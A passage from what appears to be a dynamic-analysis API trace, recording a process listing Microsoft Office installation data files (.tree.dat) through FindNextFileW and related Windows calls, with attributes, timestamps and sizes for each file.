ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmuxmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OSMUXM~1.DAT")) returned 1 [0130.652] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd06c975a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd06c975a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd08df8b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x263d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmuxmui.msi.16.en-us.tree.dat", cAlternateFileName="OSMUXM~2.DAT")) returned 1 [0130.652] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="OUTLOO~1.DAT")) returned 1 [0130.652] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcfa915dd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x913cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.x-none.msi.16.x-none.tree.dat", cAlternateFileName="OUTLOO~3.DAT")) returned 1 [0130.652] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlookmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OUTLOO~2.DAT")) returned 1 [0130.652] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd060ab93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd060ab93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0715cb9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlookmui.msi.16.en-us.tree.dat", cAlternateFileName="OUTLOO~4.DAT")) returned 1 [0130.653] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7ebd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpivot.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="POWERP~1.DAT")) returned 1 [0130.653] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcff7c3ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x81963, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpivot.x-none.msi.16.x-none.tree.dat", cAlternateFileName="POWERP~4.DAT")) returned 1 [0130.654] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpoint.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="POWERP~3.DAT")) returned 1 [0130.654] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd04b3616, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd04b3616, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd059845b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x59af4, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpoint.x-none.msi.16.x-none.tree.dat", cAlternateFileName="POA51D~1.DAT")) returned 1 [0130.654] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x405c, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpointmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="POWERP~2.DAT")) returned 1 [0130.654] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd060ab93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd060ab93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd07ae4bb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a23, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpointmui.msi.16.en-us.tree.dat", cAlternateFileName="PO677D~1.DAT")) returned 1 [0130.654] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9851ecf, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf9851ecf, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x229c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="project.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="PROJEC~1.DAT")) returned 1 [0130.654] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b1a0d3d, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3a1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="project.x-none.msi.16.x-none.tree.dat", cAlternateFileName="PROJEC~4.DAT")) returned 1 [0130.654] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9851ecf, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf9851ecf, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9910b72, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="projectmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="PROJEC~2.DAT")) returned 1 [0130.656] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b17ac3e, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b17ac3e, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x76a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="projectmui.msi.16.en-us.tree.dat", cAlternateFileName="PROJEC~3.DAT")) returned 1 [0130.656] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.en-us.msi.16.en-us.boot.tree.dat", cAlternateFileName="PROOFE~1.DAT")) returned 1 [0130.656] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0aa952a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.en-us.msi.16.en-us.tree.dat", cAlternateFileName="PROOFE~3.DAT")) returned 1 [0130.656] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.es-es.msi.16.es-es.boot.tree.dat", cAlternateFileName="PROOFE~2.DAT")) returned 1 [0130.656] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f21c2b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5de7, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.es-es.msi.16.es-es.tree.dat", cAlternateFileName="PROOFE~4.DAT")) returned 1 [0130.656] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.fr-fr.msi.16.fr-fr.boot.tree.dat", cAlternateFileName="PROOFF~1.DAT")) returned 1 [0130.656] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09ea90c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e25, dwReserved0=0x0, dwReserved1=0x0, cFileName="proof.fr-fr.msi.16.fr-fr.tree.dat", cAlternateFileName="PROOFF~2.DAT")) returned 1 [0130.656] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="proofing.msi.16.en-us.boot.tree.dat", cAlternateFileName="PROOFI~1.DAT")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd099e45b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd099e45b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0af5a16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x117c, dwReserved0=0x0, dwReserved1=0x0, cFileName="proofing.msi.16.en-us.tree.dat", cAlternateFileName="PROOFI~2.DAT")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1851f, dwReserved0=0x0, dwReserved1=0x0, cFileName="publisher.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="PUBLIS~2.DAT")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd048d683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd048d683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd05e48fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x236f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="publisher.x-none.msi.16.x-none.tree.dat", cAlternateFileName="PUBLIS~3.DAT")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x294b, dwReserved0=0x0, dwReserved1=0x0, cFileName="publishermui.msi.16.en-us.boot.tree.dat", cAlternateFileName="PUBLIS~1.DAT")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd099e45b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd099e45b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0b8e391, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="publishermui.msi.16.en-us.tree.dat", cAlternateFileName="PUBLIS~4.DAT")) returned 1 [0130.657] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf317c17, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf317c17, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x387c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="VISIOX~1.DAT")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x147a8a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x147a8a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x147a8a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x62499, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.x-none.msi.16.x-none.tree.dat", cAlternateFileName="VISIOX~2.DAT")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf317c17, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf317c17, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x98e08, dwReserved0=0x0, dwReserved1=0x0, cFileName="visiomui.msi.16.en-us.boot.tree.dat", cAlternateFileName="VISIOM~1.DAT")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1159842, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x98fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="visiomui.msi.16.en-us.tree.dat", cAlternateFileName="VISIOM~2.DAT")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84404c07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38343, dwReserved0=0x0, dwReserved1=0x0, cFileName="word.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="WORDX-~1.DAT")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd022ae04, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd022ae04, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd03a857f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67519, dwReserved0=0x0, dwReserved1=0x0, cFileName="word.x-none.msi.16.x-none.tree.dat", cAlternateFileName="WORDX-~2.DAT")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbd39, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="WORDMU~1.DAT")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd09ea90c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd09ea90c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0b41ebe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc002, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordmui.msi.16.en-us.tree.dat", cAlternateFileName="WORDMU~2.DAT")) returned 1 [0130.658] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.659] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0130.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0130.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0130.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0130.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod", lpFilePart=0x0) returned 0x2b [0130.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.660] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.661] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21b9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="access.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="ACCESS~1.DAT")) returned 1 [0130.661] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf475553, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x44d12, dwReserved0=0x0, dwReserved1=0x0, cFileName="access.x-none.msi.16.x-none.tree.dat", cAlternateFileName="ACCESS~4.DAT")) returned 1 [0130.661] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9376, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="ACCESS~3.DAT")) returned 1 [0130.661] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d0baf0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9623, dwReserved0=0x0, 